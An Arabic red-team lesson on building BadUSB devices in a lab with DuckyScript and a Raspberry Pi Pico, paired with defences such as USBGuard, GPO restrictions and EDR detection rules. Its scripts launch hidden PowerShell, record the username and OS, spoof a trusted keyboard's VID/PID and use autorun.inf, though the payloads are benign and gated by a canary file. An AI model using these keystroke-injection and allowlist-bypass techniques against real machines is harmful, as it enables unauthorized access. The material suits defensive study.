الفرق الحمراء — الهجومخبير90mL65

بناء هجمات USB في المختبر — أمثلة عملية

كتابة DuckyScript، Pi Pico كـ BadUSB، والدفاع المضاد

#DuckyScript#Pi Pico#CircuitPython#USBGuard#GPO

نطاق هذا الدرس

الدرس السابق (usb-network-implants) شرح ماذا ولماذا. هذا الدرس يجيب على كيف نبنيها بأيدينا في مختبر مرخّص — وكيف نكتشفها كمدافعين. كل أمثلة الكود هنا تعليمية: تفتح Notepad، تكتب علامة في ملف، تطبع رسالة. لا تحتوي C2 ولا سرقة بيانات.

تشبيه — شرح مبسط
الفرق بين دراسة القفل وكسره. هنا نفكّ القفل في الورشة، نرسم آليته، ثم نصنع قفلاً أصعب. لا نستخدم المهارة على بيت الجار.
حدود قانونية صارمة
  • كل سكربت هنا قانوني فقط داخل: حاسوبك، VM في مختبرك، عقد red team موقّع، أو تقييم تحت تفويض حكومي.
  • تشغيل أيٍ منها على كمبيوتر زميل/عائلة/شركة بدون إذن مكتوب = جناية تحت CFAA §1030(a)(5)(A).
  • حتى "مزحة" على جهاز شخص آخر يمكن أن تنتج ملفاً جنائياً فيدرالياً.

إعداد مختبر آمن قبل أي شيء

01
VM معزولة

VirtualBox أو VMware Workstation. Windows 10/11 trial أو Linux. شبكة Host-Only أو Internalلا NAT ولا Bridge. snapshot قبل كل تجربة.

02
ممرّ USB إلى الـ VM

VirtualBox: Devices → USB → اختر الجهاز. هذا يضمن أن BadUSB لا يلمس المضيف الحقيقي. لو كنت على Mac/Linux مضيف، الأفضل استخدام آلة فيزيائية "قربان" قديمة.

03
أدوات تحتاجها
  • Hak5 Payload Studio (مجاني، ويب) — لكتابة DuckyScript.
  • Raspberry Pi Pico ($4) — أرخص بديل عن Rubber Ducky ($60).
  • CircuitPython + مكتبة adafruit_hid — ما يحوّل Pico لـ HID.
  • محرر نصوص + Wireshark + USBPcap (لتحليل ما يحدث على ناقل USB).
04
منطق "canary" في كل سكربت تجريبي

لتجنب كارثة، اجعل كل سكربت يبحث عن ملف C:\\LAB_OK.txt ولا ينفذ شيئاً إن لم يجده. هكذا لو ضاع USB من الطاولة لن يضرّ جهازاً عشوائياً.

مثال 1 — DuckyScript: "hello world" لـ BadUSB

هذا أبسط سكربت ممكن. يفتح Notepad ويكتب نصاً. الهدف: فهم بنية DuckyScript قبل أي شيء أعقد.

DuckyScript
REM أبسط PoC تعليمي — يفتح Notepad ويكتب علامة
DELAY 1500            REM انتظر تعرّف النظام على "لوحة المفاتيح"
GUI r                 REM Win+R = فتح Run
DELAY 300
STRING notepad
ENTER
DELAY 800
STRING USB lab test - educational only - $(Get-Date)
ENTER
STRING This file proves the HID could type. No payload executed.

ما الذي يعلّمه: ضربات المفاتيح (STRING)، المفاتيح الخاصة (GUI, ENTER)، وأهمية DELAY — بدونها السكربت يكتب قبل أن يفتح Notepad فيضيع الإدخال.

مثال 2 — DuckyScript بـ canary وحدود تنفيذ آمنة

DuckyScript
REM PoC تعليمي مع canary — لن ينفذ ما لم يجد ملف اختبار
DELAY 1500
GUI r
DELAY 300
STRING powershell -w hidden -nop -c "if (Test-Path C:\LAB_OK.txt) { Add-Content C:\LAB_OK.txt ('USB-PoC ran at ' + (Get-Date)) } else { exit }"
ENTER

سطر واحد PowerShell يتحقق من وجود علامة. لو فتحت USB بالخطأ على جهاز ليس فيه C:\\LAB_OK.txt، لا يحدث شيء. هذا نمط "safety net" مهم في مختبرات التدريب.

لماذا canary مهم
في تدريب 2019، فريق جامعي فقد USB "معطّل" في مقهى. شخص أوصله بحاسوبه. لو كان فيه canary، لما حدث شيء؛ بدونه، الفريق دفع غرامة و كاد يفقد ترخيصه.

مثال 3 — اكتشاف بيئة قبل الإقلاع

سكربت تعليمي يطبع نوع نظام التشغيل ولغة لوحة المفاتيح إلى ملف. هذا نمط حقيقي يستخدمه المهاجمون لتعديل لاحق للحمولة — لكن هنا نوقف عند "اعرف فقط".

DuckyScript
REM PoC: enumerate environment, write to file, exit
DELAY 1500
GUI r
DELAY 300
STRING powershell -w hidden -nop -c "if (-not (Test-Path C:\LAB_OK.txt)) { exit }; $info = @{ os = $PSVersionTable.OS; user = $env:USERNAME; lang = (Get-Culture).Name; time = (Get-Date) }; $info | Out-File C:\LAB_OK.txt -Append"
ENTER

القيمة الدفاعية: فهم أن المهاجم يحتاج 5–15 ثانية ليجمع هذه المعلومة الأولية. EDR الذي يصطاد "PowerShell hidden launched seconds after USB plug" يكسر السلسلة قبل أن تبدأ.

مثال 4 — Raspberry Pi Pico كـ BadUSB بـ $4

Pi Pico بـ CircuitPython + adafruit_hid يكافئ Rubber Ducky تجارياً. كامل الكود تعليمي ومفتوح:

01
إعداد Pico
  • حمّل firmware CircuitPython من circuitpython.org اضغط زر BOOTSEL أثناء التوصيل، اسحب ملف .uf2 إلى الـ drive الذي يظهر.
  • انسخ مكتبة adafruit_hid إلى مجلد /lib في الـ Pico.
  • عدّل code.py أدناه.
python
# code.py — PoC تعليمي على Raspberry Pi Pico
# يفتح Notepad ويكتب علامة، ثم يتوقف نهائياً.
# لا يحوي اتصال شبكي ولا تنفيذ ثنائي.

import time
import board
import digitalio
import usb_hid
from adafruit_hid.keyboard import Keyboard
from adafruit_hid.keyboard_layout_us import KeyboardLayoutUS
from adafruit_hid.keycode import Keycode

# تأخير الإقلاع — ينتظر تعرّف النظام على HID
time.sleep(2.5)

kbd = Keyboard(usb_hid.devices)
layout = KeyboardLayoutUS(kbd)

# Win+R
kbd.send(Keycode.GUI, Keycode.R)
time.sleep(0.4)

# اكتب الأمر
layout.write("notepad\n")
time.sleep(1.0)

# اكتب رسالة تعليمية ثم توقف
layout.write("Pi Pico BadUSB lab test - educational PoC only.\n")
layout.write("No network, no exec, no payload.\n")

# قفل لمنع تكرار التنفيذ
while True:
    time.sleep(60)
لماذا Pico أهم تعليمياً من Rubber Ducky
Rubber Ducky "صندوق أسود" — تشتري وتستخدم. Pico مفتوح: ترى الـ firmware، ترى التوقيت، ترى كل API. تتعلم كيف يعمل الـ enumeration، تتعلم لماذا تأخير 2.5 ثانية، تتعلم كيف يتغيّر الـ VID/PID. هذا ما يجعل المدافع أفضل في الكشف.

مثال 5 — انتحال جهاز موثوق (VID/PID spoofing)

كل جهاز USB يقدّم نفسه بـ Vendor ID + Product ID. أنظمة GPO تسمح أحياناً بـ "Logitech keyboards" فقط. الهجوم: عدّل descriptors لتقول إنك Logitech.

python
# في boot.py على Pico — قبل أي شيء آخر
import usb_hid
import supervisor

# أمثلة VID/PID — موجودة في قواعد بيانات USB-IF العامة
# 046d:c31c = Logitech generic keyboard
supervisor.set_usb_identification(
    manufacturer="Logitech",
    product="USB Keyboard",
    vid=0x046D,
    pid=0xC31C,
)
الدفاع — لماذا VID/PID وحده لا يكفي
قاعدة whitelist بـ VID/PID فقط = أمن مزيف. الدفاع الجاد يطلب: (VID + PID + Serial Number). الـ Serial فريد لكل جهاز فعلي. USBGuard على Linux و Device Installation Restrictions على Windows يدعمان هذا. كل لوحة مفاتيح مؤسسية مسجّلة بـ serial، أي جديدة = مرفوض.

مثال 6 — autorun الكلاسيكي (لِمَ ما زال يهم)

منذ Windows 7 SP1 معطّل افتراضياً، لكن: (أ) أنظمة OT/ICS كثيرة ما زالت تعمل XP/7 RTM، (ب) بعض GPO تعيد تفعيله للـ "ملاءمة".

ini
; autorun.inf تعليمي — على XP/7 RTM يفتح ملف عند الإدخال
[autorun]
open=demo.exe
icon=demo.ico
label=Lab USB
action=Open lab demo
الدفاع
  1. تأكد عبر GPO أن NoDriveTypeAutoRun = 0xFF.
  2. على ICS: ابن "USB sanitization kiosk" (Olea, OPSWAT) قبل أي توصيل بشبكة OT.
  3. افحص الـ USB في sandbox منفصل (Cuckoo, ANY.RUN) إن كان مصدره خارجياً.

مثال 7 — رؤية ما يحدث على الناقل (USBPcap)

قبل أن تدافع، شاهد. Wireshark + USBPcap على Windows أو usbmon على Linux يظهران كل packet HID.

$ # Linux — مراقبة USB bus 1:
$ sudo modprobe usbmon
$ sudo wireshark -i usbmon1 -k
$ # في Wireshark، فلتر للـ HID فقط:
$ usbhid.data
URB_INTERRUPT in 0x04 0x00 0x15 0x00 0x00 ... ← keystroke 'r'
URB_INTERRUPT in 0x00 0x00 0x00 0x00 0x00 ... ← key release

هذه الرؤية تكشف: Pico/Ducky يطلق عشرات keystrokes في ثانية واحدة. لا بشري يكتب بهذا الإيقاع. التوقيع التحليلي بسيط جداً للـ EDR ليكتشفه.

بناء الدفاع طبقة طبقة

طبقة 1 — السياسة (Policy)
  • سياسة USB مكتوبة وموقّعة. حظر افتراضي، استثناءات بطلب.
  • تدريب موظفين كل 6 أشهر بـ drop-test فعلي.
  • في OT/ICS: كل USB يدخل عبر kiosk تنظيف فقط.
طبقة 2 — التحكم التقني على المضيف
  • Windows GPO: Computer Configuration → Administrative Templates → System → Device Installation → Device Installation Restrictions. اسمح فقط بـ device IDs محددة.
  • USBGuard على Linux:
bash
sudo apt install usbguard
sudo usbguard generate-policy > /etc/usbguard/rules.conf
sudo systemctl enable --now usbguard
# قاعدة مثال — اسمح فقط بـ keyboard مسجّل بـ serial:
# allow id 046d:c31c serial "ABC123XYZ"
# block
  • macOS: اطلب موافقة لكل ملحق USB جديد (System Settings → Privacy & Security → Allow accessories).
  • BIOS: عطّل USB boot، اقفل BIOS بكلمة سر، عطّل منافذ غير مستخدمة فيزيائياً (epoxy في بعض بيئات SCIF).
طبقة 3 — اكتشاف على EDR
  • قاعدة Sigma: "HID device added then PowerShell.exe child of explorer.exe within 10s" → high-severity alert.
  • قاعدة: "keystroke rate > 300 chars/sec" — لا بشري يكتب بهذا.
  • قاعدة: "new VID/PID combination not in CMDB" → quarantine.
  • تتبع DeviceEvents في Microsoft Defender for Endpoint — لها schema جاهز.
طبقة 4 — اكتشاف على الشبكة (لو فلت BadUSB)
  • egress baseline: لو محطة عمل فجأة فتحت اتصال خارجي بنطاق غير مألوف خلال دقيقة من event "USB inserted" → تحقيق.
  • Sysmon Event ID 22 (DNS query) + Event ID 1 (Process create) للـ powershell.exe = correlation قوية.
طبقة 5 — الفيزيائية
  • أغطية USB مقفلة (PadJacks).
  • كاميرات مراقبة تركّز على المنافذ في غرف الخوادم/SCADA.
  • سياسة "لا أجهزة شخصية" في مناطق تصنيف.

قائمة فحص للـ Red Team — قبل التشغيل في عملية مرخّصة

  • تفويض مكتوب يغطي USB drops و BadUSB صريحاً (Rules of Engagement).
  • تحديد المواقع المسموح إسقاط USB فيها — لا تتسلل إلى مناطق ليست في النطاق.
  • كل USB يحوي canary — لن ينفذ خارج الـ environment المتفق عليه.
  • تسجيل serial numbers لكل قطعة — حتى يُمكن استرجاعها بعد العملية.
  • POC إخطار للمدير الأمني للهدف لو شيء انفلت من السيطرة.
  • تقرير ما بعد العملية: ماذا التُقط، كم نقر المستخدمون، ما الكشف الذي عمل، ما الذي فشل.

مراجع تطبيقية

  • Hak5 DuckyScript 3.0 reference — اللغة الكاملة
  • Adafruit CircuitPython HID guide — لـ Pi Pico
  • Microsoft Device Installation Restrictions docs
  • USBGuard project (github.com/USBGuard)
  • Sigma rules repo: rules/windows/sysmon — usb_ patterns
  • SANS FOR509 / FOR526 للـ memory/USB forensics